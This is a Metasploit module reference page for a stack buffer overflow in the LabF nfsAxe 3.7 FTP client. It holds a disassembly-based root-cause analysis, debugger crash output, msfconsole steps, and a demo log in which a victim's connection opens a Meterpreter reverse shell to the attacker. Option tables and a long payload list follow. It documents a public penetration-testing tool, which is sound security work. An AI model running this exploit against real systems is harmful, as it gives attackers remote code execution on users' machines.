LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/windows/ftp/labf_nfsaxe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow
Module: exploit/windows/ftp/labf_nfsaxe
Source code: modules/exploits/windows/ftp/labf_nfsaxe.rb
Disclosure date: 2017-05-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-18047

This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/windows/ftp/labf_nfsaxe
msf exploit(labf_nfsaxe) > show targets
    ... a list of targets ...
msf exploit(labf_nfsaxe) > set TARGET target-id
msf exploit(labf_nfsaxe) > show options
    ... show and set options ...
msf exploit(labf_nfsaxe) > exploit

Knowledge Base


Vulnerable Application


LabF nfsAxe is a package of NFS servers and clients on Windows, including:

  • NFS Client
  • NFS Server
  • FTP client
  • Telnet
  • LPD & LPR
  • TFTP

The FTP client is vulnerable a stack-based buffer overflow due to the way it handles the server input, which could lead to arbitrary remote code execution under the context of the user.

The exploit was tested on Windows 7 Enterprise SP1 (English).

The vulnerable copy can be downloaded from Exploit-DB.

Root Cause Analysis

Inside sub_42C890() of ftp.exe, a stack buffer [esp+2424h+ptrBuffer] is passed as an argument to sub_42EE10():

AUTO:0042C8FF loc_42C8FF:                             ; CODE XREF: sub_42C890+16Aj
AUTO:0042C8FF                                         ; sub_42C890+1B5j
AUTO:0042C8FF                 push    edi
AUTO:0042C900                 mov     ebx, 3FFh
AUTO:0042C905                 lea     edx, [esp+2424h+ptrBuffer]
AUTO:0042C90C                 push    1
AUTO:0042C90E                 mov     eax, ds:dword_465100
AUTO:0042C913                 mov     ecx, edi
AUTO:0042C915                 call    sub_42EE10      ; Call Procedure

According to IDA, the buffer size is 1024 bytes:

-0000041C ptrBuffer       db 1024 dup(?)

The buffer pointer is used to receive data from the FTP server. It is passed all the way to xwpwsock!recv_dll, and then WS2_32!recv. Finally, the exploit causes the exploit to crash because the malicious string is long enough that causes an out-of-bound WRITE. This can be observed by the following demonstration with these breakpoints:

bp 0042c915 ".printf \"Passing static buffer pointer at 0x%08x\", edx; .echo ;g"
bp 0042ea0c ".printf \"Destination buffer for receive is: 0x%08x\n\", edx; .echo; g"
bp 0042eb73 ".printf \"EDX Text dump: %ma\n\", edx; .echo; .echo; g"

The WinDBG output:

Passing static buffer pointer at 0x027ff4f4
Destination buffer for receive is: 0x027ff4f4 
EDX Text dump: AAAAAAAAAAAAAAA ........ AAAAAAAAAAAAAAA (a very long string)

(d48.864): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=000003fe ecx=ffffdbfc edx=000003fe esi=027ffc02 edi=02800000
eip=0042cac5 esp=027fd4ec ebp=000023ee iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
ftp+0x2cac5:
0042cac5 8807            mov     byte ptr [edi],al          ds:0023:02800000=??

In this crash, ESI is the source input, which is filled with our malicious input:

0:001> dd esi
027ffc02  41414141 41414141 41414141 41414141
027ffc12  41414141 41414141 41414141 41414141
027ffc22  41414141 41414141 41414141 41414141
027ffc32  41414141 41414141 41414141 41414141
027ffc42  41414141 41414141 41414141 41414141
027ffc52  41414141 41414141 41414141 41414141
027ffc62  41414141 41414141 41414141 41414141
027ffc72  41414141 41414141 41414141 41414141

EDI would be the destination buffer used for this copy routine:

AUTO:0042CAC3 loc_42CAC3:                             ; CODE XREF: sub_42C890+249j
AUTO:0042CAC3                 mov     al, [esi]       ; ESI is the malicious input
AUTO:0042CAC5                 mov     [edi], al       ; EDI = our buffer, and AL is a byte from the malicious input
AUTO:0042CAC7                 cmp     al, 0           ; Check null byte
AUTO:0042CAC9                 jz      short loc_42CADB ; Done copying
AUTO:0042CACB                 mov     al, [esi+1]     ; The next byte
AUTO:0042CACE                 add     esi, 2
AUTO:0042CAD1                 mov     [edi+1], al
AUTO:0042CAD4                 add     edi, 2
AUTO:0042CAD7                 cmp     al, 0
AUTO:0042CAD9                 jnz     short loc_42CAC3 ; Continue copying if string isn't null

Since the exploit supplies a string that is long enough, the SEH chain on the stack is also overwritten:

0:001> !exchain
027fff70: 41414141
Invalid exception stack at 41414141

The exploit simply overwrites the SEH chain to gain arbitrary code execution.

Verification Steps


To test the exploit:

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/windows/ftp/labf_nfsaxe
  4. Set options and payload
  5. Do: exploit
  6. Connect to the FTP server using the FTP client
  7. You should get a session like the following demonstration:
msf exploit(windows/ftp/labf_nfsaxe) > run

[*] Started reverse TCP handler on 172.16.85.1:4444 
[*] Please ask your target(s) to connect to 172.16.85.1:21
[*] Server started.
msf exploit(windows/ftp/labf_nfsaxe) >
[*] 172.16.85.134 - connected.
[*] 172.16.85.134 - Response: Sending 220 Welcome
[*] 172.16.85.134 - Request: AUTH GSSAPI
[*] 172.16.85.134 - Response: sending 331 OK
[*] 172.16.85.134 - Request: ADAT TlRMTVNTUA==
[*] 172.16.85.134 - Response: Sending 230 OK
[*] 172.16.85.134 - Request: USER Guest
[*] 172.16.85.134 - Request: Sending the malicious response
[*] Sending stage (179779 bytes) to 172.16.85.134
[*] Meterpreter session 1 opened (172.16.85.1:4444 -> 172.16.85.134:49213) at 2018-01-09 22:38:33 -0600

Go back to menu.

Msfconsole Usage


Here is how the windows/ftp/labf_nfsaxe exploit module looks in the msfconsole:

msf6 > use exploit/windows/ftp/labf_nfsaxe

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/labf_nfsaxe) > show info

       Name: LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow
     Module: exploit/windows/ftp/labf_nfsaxe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-15

Provided by:
  Tulpa
  Daniel Teixeira

Available targets:
  Id  Name
  --  ----
  0   Windows Universal

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  21               yes       The FTP port to listen on
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP 
  Client allowing remote code execution.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-18047
  https://www.exploit-db.com/exploits/42011

Module Options


This is a complete list of options available in the windows/ftp/labf_nfsaxe exploit:

msf6 exploit(windows/ftp/labf_nfsaxe) > show options

Module options (exploit/windows/ftp/labf_nfsaxe):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  21               yes       The FTP port to listen on
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows Universal

Advanced Options


Here is a complete list of advanced options supported by the windows/ftp/labf_nfsaxe exploit:

msf6 exploit(windows/ftp/labf_nfsaxe) > show advanced

Module advanced options (exploit/windows/ftp/labf_nfsaxe):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   DynamicSehRecord        false            no        Generate a dynamic SEH record (more stealthy)
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                               no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/ftp/labf_nfsaxe module can exploit:

msf6 exploit(windows/ftp/labf_nfsaxe) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/ftp/labf_nfsaxe exploit:

msf6 exploit(windows/ftp/labf_nfsaxe) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   17   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   18   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   21   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   22   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   23   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   24   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   25   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   26   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   27   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   28   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   29   payload/windows/exec                                                         normal  No     Windows Execute Command
   30   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   31   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   32   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   33   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   34   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   37   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   38   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   39   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   41   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   42   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   43   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   44   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   45   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   46   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   47   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   48   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   49   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   50   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   51   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   53   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   56   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   57   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   58   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   59   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   60   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   61   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   62   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   63   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   64   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   65   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   66   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   67   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   68   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   70   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   71   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   72   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   73   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   75   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   76   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   77   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   79   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   81   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   84   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   85   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   86   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   88   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   89   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   90   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   91   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   93   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   94   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   95   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   97   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   99   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   102  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   103  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   104  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   106  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   107  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   108  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   109  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   110  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   111  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   112  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   113  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   114  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   115  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   116  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   117  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   118  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   119  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   120  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   121  payload/windows/pingback_bind_tcp                                            normal  No     Windows x86 Pingback, Bind TCP Inline
   122  payload/windows/pingback_reverse_tcp                                         normal  No     Windows x86 Pingback, Reverse TCP Inline
   123  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   124  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   125  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   126  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   127  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   128  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   129  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   130  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   131  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   132  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   133  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   134  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   135  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   136  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   137  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   138  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   139  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   140  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   141  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   142  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   143  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
